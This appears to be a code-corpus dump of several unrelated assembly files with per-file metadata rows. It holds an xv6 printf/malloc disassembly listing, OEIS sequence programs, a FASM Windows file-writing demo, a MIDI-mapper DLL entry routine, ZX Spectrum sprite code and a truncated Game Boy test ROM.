39 jne 55a <printf+0x5a> 521: e9 c2 00 00 00 jmp 5e8 <printf+0xe8> 526: 66 90 xchg %ax,%ax c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 528: 83 fa 25 cmp $0x25,%edx 52b: 0f 84 bf 00 00 00 je 5f0 <printf+0xf0> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 531: 8d 45 e2 lea -0x1e(%ebp),%eax 534: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 53b: 00 53c: 89 44 24 04 mov %eax,0x4(%esp) 540: 89 34 24 mov %esi,(%esp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; } else { putc(fd, c); 543: 88 55 e2 mov %dl,-0x1e(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 546: e8 87 fe ff ff call 3d2 <write> 54b: 83 c3 01 add $0x1,%ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 54e: 0f b6 53 ff movzbl -0x1(%ebx),%edx 552: 84 d2 test %dl,%dl 554: 0f 84 8e 00 00 00 je 5e8 <printf+0xe8> c = fmt[i] & 0xff; if(state == 0){ 55a: 85 ff test %edi,%edi uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 55c: 0f be c2 movsbl %dl,%eax if(state == 0){ 55f: 74 c7 je 528 <printf+0x28> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 561: 83 ff 25 cmp $0x25,%edi 564: 75 e5 jne 54b <printf+0x4b> if(c == 'd'){ 566: 83 fa 64 cmp $0x64,%edx 569: 0f 84 31 01 00 00 je 6a0 <printf+0x1a0> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 56f: 25 f7 00 00 00 and $0xf7,%eax 574: 83 f8 70 cmp $0x70,%eax 577: 0f 84 83 00 00 00 je 600 <printf+0x100> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 57d: 83 fa 73 cmp $0x73,%edx 580: 0f 84 a2 00 00 00 je 628 <printf+0x128> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 586: 83 fa 63 cmp $0x63,%edx 589: 0f 84 35 01 00 00 je 6c4 <printf+0x1c4> putc(fd, *ap); ap++; } else if(c == '%'){ 58f: 83 fa 25 cmp $0x25,%edx 592: 0f 84 e0 00 00 00 je 678 <printf+0x178> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 598: 8d 45 e6 lea -0x1a(%ebp),%eax 59b: 83 c3 01 add $0x1,%ebx 59e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 5a5: 00 } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5a6: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5a8: 89 44 24 04 mov %eax,0x4(%esp) 5ac: 89 34 24 mov %esi,(%esp) 5af: 89 55 d0 mov %edx,-0x30(%ebp) 5b2: c6 45 e6 25 movb $0x25,-0x1a(%ebp) 5b6: e8 17 fe ff ff call 3d2 <write> } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 5bb: 8b 55 d0 mov -0x30(%ebp),%edx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5be: 8d 45 e7 lea -0x19(%ebp),%eax 5c1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 5c8: 00 5c9: 89 44 24 04 mov %eax,0x4(%esp) 5cd: 89 34 24 mov %esi,(%esp) } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 5d0: 88 55 e7 mov %dl,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5d3: e8 fa fd ff ff call 3d2 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5d8: 0f b6 53 ff movzbl -0x1(%ebx),%edx 5dc: 84 d2 test %dl,%dl 5de: 0f 85 76 ff ff ff jne 55a <printf+0x5a> 5e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, c); } state = 0; } } } 5e8: 83 c4 3c add $0x3c,%esp 5eb: 5b pop %ebx 5ec: 5e pop %esi 5ed: 5f pop %edi 5ee: 5d pop %ebp 5ef: c3 ret ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 5f0: bf 25 00 00 00 mov $0x25,%edi 5f5: e9 51 ff ff ff jmp 54b <printf+0x4b> 5fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 600: 8b 45 d4 mov -0x2c(%ebp),%eax 603: b9 10 00 00 00 mov $0x10,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 608: 31 ff xor %edi,%edi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 60a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 611: 8b 10 mov (%eax),%edx 613: 89 f0 mov %esi,%eax 615: e8 46 fe ff ff call 460 <printint> ap++; 61a: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 61e: e9 28 ff ff ff jmp 54b <printf+0x4b> 623: 90 nop 624: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 628: 8b 45 d4 mov -0x2c(%ebp),%eax ap++; 62b: 83 45 d4 04 addl $0x4,-0x2c(%ebp) ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ s = (char*)*ap; 62f: 8b 38 mov (%eax),%edi ap++; if(s == 0) s = "(null)"; 631: b8 9d 08 00 00 mov $0x89d,%eax 636: 85 ff test %edi,%edi 638: 0f 44 f8 cmove %eax,%edi while(*s != 0){ 63b: 0f b6 07 movzbl (%edi),%eax 63e: 84 c0 test %al,%al 640: 74 2a je 66c <printf+0x16c> 642: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 648: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 64b: 8d 45 e3 lea -0x1d(%ebp),%eax ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 64e: 83 c7 01 add $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 651: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 658: 00 659: 89 44 24 04 mov %eax,0x4(%esp) 65d: 89 34 24 mov %esi,(%esp) 660: e8 6d fd ff ff call 3d2 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 665: 0f b6 07 movzbl (%edi),%eax 668: 84 c0 test %al,%al 66a: 75 dc jne 648 <printf+0x148> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 66c: 31 ff xor %edi,%edi 66e: e9 d8 fe ff ff jmp 54b <printf+0x4b> 673: 90 nop 674: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 678: 8d 45 e5 lea -0x1b(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 67b: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 67d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 684: 00 685: 89 44 24 04 mov %eax,0x4(%esp) 689: 89 34 24 mov %esi,(%esp) 68c: c6 45 e5 25 movb $0x25,-0x1b(%ebp) 690: e8 3d fd ff ff call 3d2 <write> 695: e9 b1 fe ff ff jmp 54b <printf+0x4b> 69a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 6a0: 8b 45 d4 mov -0x2c(%ebp),%eax 6a3: b9 0a 00 00 00 mov $0xa,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 6a8: 66 31 ff xor %di,%di } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 6ab: c7 04 24 01 00 00 00 movl $0x1,(%esp) 6b2: 8b 10 mov (%eax),%edx 6b4: 89 f0 mov %esi,%eax 6b6: e8 a5 fd ff ff call 460 <printint> ap++; 6bb: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 6bf: e9 87 fe ff ff jmp 54b <printf+0x4b> while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 6c4: 8b 45 d4 mov -0x2c(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 6c7: 31 ff xor %edi,%edi while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 6c9: 8b 00 mov (%eax),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 6cb: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 6d2: 00 6d3: 89 34 24 mov %esi,(%esp) while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 6d6: 88 45 e4 mov %al,-0x1c(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 6d9: 8d 45 e4 lea -0x1c(%ebp),%eax 6dc: 89 44 24 04 mov %eax,0x4(%esp) 6e0: e8 ed fc ff ff call 3d2 <write> putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; 6e5: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 6e9: e9 5d fe ff ff jmp 54b <printf+0x4b> 6ee: 66 90 xchg %ax,%ax 000006f0 <free>: static Header base; static Header *freep; void free(void *ap) { 6f0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6f1: a1 60 0b 00 00 mov 0xb60,%eax static Header base; static Header *freep; void free(void *ap) { 6f6: 89 e5 mov %esp,%ebp 6f8: 57 push %edi 6f9: 56 push %esi 6fa: 53 push %ebx 6fb: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6fe: 8b 08 mov (%eax),%ecx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 700: 8d 53 f8 lea -0x8(%ebx),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 703: 39 d0 cmp %edx,%eax 705: 72 11 jb 718 <free+0x28> 707: 90 nop if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 708: 39 c8 cmp %ecx,%eax 70a: 72 04 jb 710 <free+0x20> 70c: 39 ca cmp %ecx,%edx 70e: 72 10 jb 720 <free+0x30> 710: 89 c8 mov %ecx,%eax free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 712: 39 d0 cmp %edx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 714: 8b 08 mov (%eax),%ecx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 716: 73 f0 jae 708 <free+0x18> 718: 39 ca cmp %ecx,%edx 71a: 72 04 jb 720 <free+0x30> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 71c: 39 c8 cmp %ecx,%eax 71e: 72 f0 jb 710 <free+0x20> break; if(bp + bp->s.size == p->s.ptr){ 720: 8b 73 fc mov -0x4(%ebx),%esi 723: 8d 3c f2 lea (%edx,%esi,8),%edi 726: 39 cf cmp %ecx,%edi 728: 74 1e je 748 <free+0x58> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 72a: 89 4b f8 mov %ecx,-0x8(%ebx) if(p + p->s.size == bp){ 72d: 8b 48 04 mov 0x4(%eax),%ecx 730: 8d 34 c8 lea (%eax,%ecx,8),%esi 733: 39 f2 cmp %esi,%edx 735: 74 28 je 75f <free+0x6f> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 737: 89 10 mov %edx,(%eax) freep = p; 739: a3 60 0b 00 00 mov %eax,0xb60 } 73e: 5b pop %ebx 73f: 5e pop %esi 740: 5f pop %edi 741: 5d pop %ebp 742: c3 ret 743: 90 nop 744: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 748: 03 71 04 add 0x4(%ecx),%esi 74b: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 74e: 8b 08 mov (%eax),%ecx 750: 8b 09 mov (%ecx),%ecx 752: 89 4b f8 mov %ecx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 755: 8b 48 04 mov 0x4(%eax),%ecx 758: 8d 34 c8 lea (%eax,%ecx,8),%esi 75b: 39 f2 cmp %esi,%edx 75d: 75 d8 jne 737 <free+0x47> p->s.size += bp->s.size; 75f: 03 4b fc add -0x4(%ebx),%ecx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 762: a3 60 0b 00 00 mov %eax,0xb60 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 767: 89 48 04 mov %ecx,0x4(%eax) p->s.ptr = bp->s.ptr; 76a: 8b 53 f8 mov -0x8(%ebx),%edx 76d: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 76f: 5b pop %ebx 770: 5e pop %esi 771: 5f pop %edi 772: 5d pop %ebp 773: c3 ret 774: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 77a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000780 <malloc>: return freep; } void* malloc(uint nbytes) { 780: 55 push %ebp 781: 89 e5 mov %esp,%ebp 783: 57 push %edi 784: 56 push %esi 785: 53 push %ebx 786: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 789: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 78c: 8b 1d 60 0b 00 00 mov 0xb60,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 792: 8d 48 07 lea 0x7(%eax),%ecx 795: c1 e9 03 shr $0x3,%ecx if((prevp = freep) == 0){ 798: 85 db test %ebx,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 79a: 8d 71 01 lea 0x1(%ecx),%esi if((prevp = freep) == 0){ 79d: 0f 84 9b 00 00 00 je 83e <malloc+0xbe> 7a3: 8b 13 mov (%ebx),%edx 7a5: 8b 7a 04 mov 0x4(%edx),%edi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 7a8: 39 fe cmp %edi,%esi 7aa: 76 64 jbe 810 <malloc+0x90> 7ac: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 7b3: bb 00 80 00 00 mov $0x8000,%ebx 7b8: 89 45 e4 mov %eax,-0x1c(%ebp) 7bb: eb 0e jmp 7cb <malloc+0x4b> 7bd: 8d 76 00 lea 0x0(%esi),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7c0: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 7c2: 8b 78 04 mov 0x4(%eax),%edi 7c5: 39 fe cmp %edi,%esi 7c7: 76 4f jbe 818 <malloc+0x98> 7c9: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 7cb: 3b 15 60 0b 00 00 cmp 0xb60,%edx 7d1: 75 ed jne 7c0 <malloc+0x40> morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 7d3: 8b 45 e4 mov -0x1c(%ebp),%eax 7d6: 81 fe 00 10 00 00 cmp $0x1000,%esi 7dc: bf 00 10 00 00 mov $0x1000,%edi 7e1: 0f 43 fe cmovae %esi,%edi 7e4: 0f 42 c3 cmovb %ebx,%eax nu = 4096; p = sbrk(nu * sizeof(Header)); 7e7: 89 04 24 mov %eax,(%esp) 7ea: e8 4b fc ff ff call 43a <sbrk> if(p == (char*)-1) 7ef: 83 f8 ff cmp $0xffffffff,%eax 7f2: 74 18 je 80c <malloc+0x8c> return 0; hp = (Header*)p; hp->s.size = nu; 7f4: 89 78 04 mov %edi,0x4(%eax) free((void*)(hp + 1)); 7f7: 83 c0 08 add $0x8,%eax 7fa: 89 04 24 mov %eax,(%esp) 7fd: e8 ee fe ff ff call 6f0 <free> return freep; 802: 8b 15 60 0b 00 00 mov 0xb60,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 808: 85 d2 test %edx,%edx 80a: 75 b4 jne 7c0 <malloc+0x40> return 0; 80c: 31 c0 xor %eax,%eax 80e: eb 20 jmp 830 <malloc+0xb0> if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 810: 89 d0 mov %edx,%eax 812: 89 da mov %ebx,%edx 814: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 818: 39 fe cmp %edi,%esi 81a: 74 1c je 838 <malloc+0xb8> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 81c: 29 f7 sub %esi,%edi 81e: 89 78 04 mov %edi,0x4(%eax) p += p->s.size; 821: 8d 04 f8 lea (%eax,%edi,8),%eax p->s.size = nunits; 824: 89 70 04 mov %esi,0x4(%eax) } freep = prevp; 827: 89 15 60 0b 00 00 mov %edx,0xb60 return (void*)(p + 1); 82d: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 830: 83 c4 1c add $0x1c,%esp 833: 5b pop %ebx 834: 5e pop %esi 835: 5f pop %edi 836: 5d pop %ebp 837: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 838: 8b 08 mov (%eax),%ecx 83a: 89 0a mov %ecx,(%edx) 83c: eb e9 jmp 827 <malloc+0xa7> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 83e: c7 05 60 0b 00 00 64 movl $0xb64,0xb60 845: 0b 00 00 base.s.size = 0; 848: ba 64 0b 00 00 mov $0xb64,%edx Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 84d: c7 05 64 0b 00 00 64 movl $0xb64,0xb64 854: 0b 00 00 base.s.size = 0; 857: c7 05 68 0b 00 00 00 movl $0x0,0xb68 85e: 00 00 00 861: e9 46 ff ff ff jmp 7ac <malloc+0x2c>
28.298331
60
0.420476
[ "MIT-0" ]
xxkenta/xv6
wc.asm
52,550
Assembly
4
; A165719: Integers of the form k*(k+9)/8. ; 14,17,45,50,92,99,155,164,234,245,329,342,440,455,567,584,710,729,869,890,1044,1067,1235,1260,1442,1469,1665,1694,1904,1935,2159,2192,2430,2465,2717,2754,3020,3059,3339,3380,3674,3717,4025,4070,4392,4439,4775 add $0,2 seq $0,47608 ; Numbers that are congruent to {4, 5} mod 8. bin $0,2 sub $0,10 div $0,4
39
210
0.7151
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/165/A165719.asm
351
Assembly
4
format PE64 console entry start include 'win64w.inc' section '.data' data readable writeable stdout dq ? filename TCHAR 'filecreate.txt', 0h failc db 'failed to create file', 0h failw db 'failed to write file: ', 0h writes db 'write file success', 0h bom db 0xff, 0xfe, 0, 0 bomlen = $ - bom content dw 'H', 'e', 'l', 'l', 'o', ' ' dd '異', '世', '界' ;content db 'Hello isekai', 0h contlen = $ - content section '.text' code readable executable start: fastcall setStdout enter 24, 0 lea r15, [rbp-8] invoke CreateFile, filename,\ GENERIC_WRITE,\ 0,\ 0,\ OPEN_ALWAYS,\ FILE_ATTRIBUTE_NORMAL,\ 0 mov [r15], rax cmp rax, 0 jne @f mov rcx, failc fastcall sprintLF jmp .leave @@: invoke GetLastError mov r13, rax lea r14, [rbp-16] mov rdi, [r15] ;invoke WriteFile, rdi, bom, bomlen, r14, 0 invoke WriteFile, rdi, content, contlen, r14, 0 cmp rax, false jne @f mov rcx, failw fastcall sprint mov rcx, r13 fastcall iprintLF jmp .leave @@: mov rcx, writes fastcall sprintLF .leave: leave fastcall quitProgram include 'procs.inc' section '.idata' import data readable library kernel32, 'kernel32.dll' include 'api\kernel32.inc'
21.166667
52
0.576235
[ "MIT" ]
mashingan/notes-asmtutor
win64/lesson23.asm
1,403
Assembly
4
; A311914: Coordination sequence Gal.4.58.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,4,8,13,17,22,26,30,34,38,43,47,52,56,60,64,68,73,77,82,86,90,94,98,103,107,112,116,120,124,128,133,137,142,146,150,154,158,163,167,172,176,180,184,188,193,197,202,206,210 mov $7,$0 mov $9,2 lpb $9 sub $9,1 add $0,$9 sub $0,1 mov $8,$0 mul $0,2 mov $2,$0 mul $2,$8 mov $4,$8 mov $6,$0 add $6,$2 lpb $0 mov $0,$4 mov $3,$6 div $3,14 mov $5,6 add $6,$3 lpe trn $5,9 add $6,1 add $5,$6 mov $8,$5 mov $10,$9 lpb $10 mov $1,$8 sub $10,1 lpe lpe lpb $7 sub $1,$8 mov $7,0 lpe mov $0,$1
18.74359
176
0.586867
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/311/A311914.asm
731
Assembly
4
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; LIBENTRY.ASM ; ; Copyright (c) 1989-1995 Microsoft Corporation ; ; This module contains the entry point for MidiMap.dll ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PMODE = 1 include cmacros.inc ?PLM=1 ; pascal call convention ?WIN=0 ; Windows prolog/epilog code ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; extrns ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; externFP LibMain externFP LocalInit ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; Code segment ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ifndef SEGNAME SEGNAME equ <_TEXT> endif createSeg %SEGNAME, CodeSeg, word, public, CODE ;-----------------------------------------------------------------------; ; ; Stuff needed to avoid the C runtime coming in, and init the windows ; reserved parameter block at the base of DGROUP ; sBegin Data assumes DS,Data DD 0 ; So null pointers get 0 maxRsrvPtrs = 5 DW maxRsrvPtrs usedRsrvPtrs = 0 labelDP <PUBLIC,rsrvptrs> DefRsrvPtr MACRO name globalW name,0 usedRsrvPtrs = usedRsrvPtrs + 1 ENDM DefRsrvPtr pLocalHeap ; Local heap pointer DefRsrvPtr pAtomTable ; Atom table pointer DefRsrvPtr pStackTop ; top of stack DefRsrvPtr pStackMin ; minimum value of SP DefRsrvPtr pStackBot ; bottom of stack if maxRsrvPtrs-usedRsrvPtrs DW maxRsrvPtrs-usedRsrvPtrs DUP (0) endif public __acrtused __acrtused = 1 sEnd Data sBegin CodeSeg assumes cs,CodeSeg assumes ds,Data assumes es,nothing ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; Library entry point ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;--------------------------Private-Routine-----------------------------; ; ; LibEntry - called when DLL is loaded ; ; Entry: ; CX = size of heap ; DI = module handle ; DS = automatic data segment ; ES:SI = address of command line (not used) ; ; Returns: ; AX = TRUE if success ; Error Returns: ; AX = FALSE if error (ie fail load process) ; Registers Preserved: ; SI,DI,DS,BP ; Registers Destroyed: ; AX,BX,CX,DX,ES,FLAGS ; Calls: ; None ; History: ; ; 06-27-89 -by- Todd Laney [ToddLa] ; Created. ;-----------------------------------------------------------------------; cProc LibEntry,<FAR,PUBLIC,NODATA>,<> cBegin ; ; Push frame for LibMain (hModule,cbHeap,lpszCmdLine) ; push di push cx push es push si ; ; Init the local heap (if one is declared in the .def file) ; jcxz no_heap xor ax,ax cCall LocalInit,<ax,ax,cx> no_heap: cCall LibMain cEnd assumes ds,nothing assumes es,nothing cProc WEP, <FAR, PUBLIC, PASCAL>, <> ; ParmW fSystemExit cBegin nogen mov ax, 1 retf 2 cEnd nogen sEnd CodeSeg end LibEntry
23.303448
78
0.445398
[ "Unlicense" ]
bestbat/Windows-Server
multimedia/media/midimap/libentry.asm
3,379
Assembly
4
; DRAW LOAD SPRITE 1 BYTE DEFINITION ROTATED, RIGHT BORDER WITH IMPLIED MASK ; 04.2006 aralbrec, Sprite Pack v3.0 ; sinclair spectrum version PUBLIC SP1_DRAW_LOAD1RBIM EXTERN SP1_DRAW_LOAD1LBIM EXTERN SP1RETSPRDRAW, SP1V_ROTTBL, SP1V_PIXELBUFFER ; following data segment copied into struct sp1_cs ld de,0 nop ld hl,0 call SP1_DRAW_LOAD1RBIM ; following draw code called by way of SP1UpdateNow ; ; a = hor rot table ; bc = graphic disp ; de = graphic def ptr ; hl = left graphic def ptr ; ; 64 + 8*54 - 6 + 10 = 500 cycles .SP1_DRAW_LOAD1RBIM cp SP1V_ROTTBL/256 jp z, SP1RETSPRDRAW add hl,bc ex de,hl ld h,a ld l,$ff ld c,(hl) inc h ; h = shift table ; c = constant mask ; de = sprite def (graph only) .SP1Load1RBIMRotate jp SP1_DRAW_LOAD1LBIM + 13
18.133333
76
0.693627
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/sprites/software/sp1/spectrum/sprites/draw/SP1_DRAW_LOAD1RBIM.asm
816
Assembly
4
.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: ld a, 00 ldff(ff), a ld a, 30 ldff(00), a ld a, 01 ldff(4d), a stop, 00 ld a, ff ldff(45), a ld b, 91 call lwaitly_b ld hl, fe00 ld d, 10 ld a, d ld(hl++), a ld a, 08 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld(hl++), a inc l inc l ld(hl++), a ld a, 18 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 20 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 28 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 30 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 38 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 40 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 48 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 50 ld(hl++), a ld a, 40 ldff(41), a ld a, 02 ldff(ff), a xor a, a ldff(0f), a ei ld a, 01 ldff(45), a ld c, 41 ld a, 93 ldff(40), a ld a, 06 ldff(43), a .text@1000 lstatint: nop .text@1094 ldff a, (c) and a, 03 jp lprint_a .text@7000 lprint_a: push af ld b, 91 call lwaitly_b xor a, a ldff(40), a pop af ld(9800), a ld bc, 7a00 ld hl, 8000 ld d, a0 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 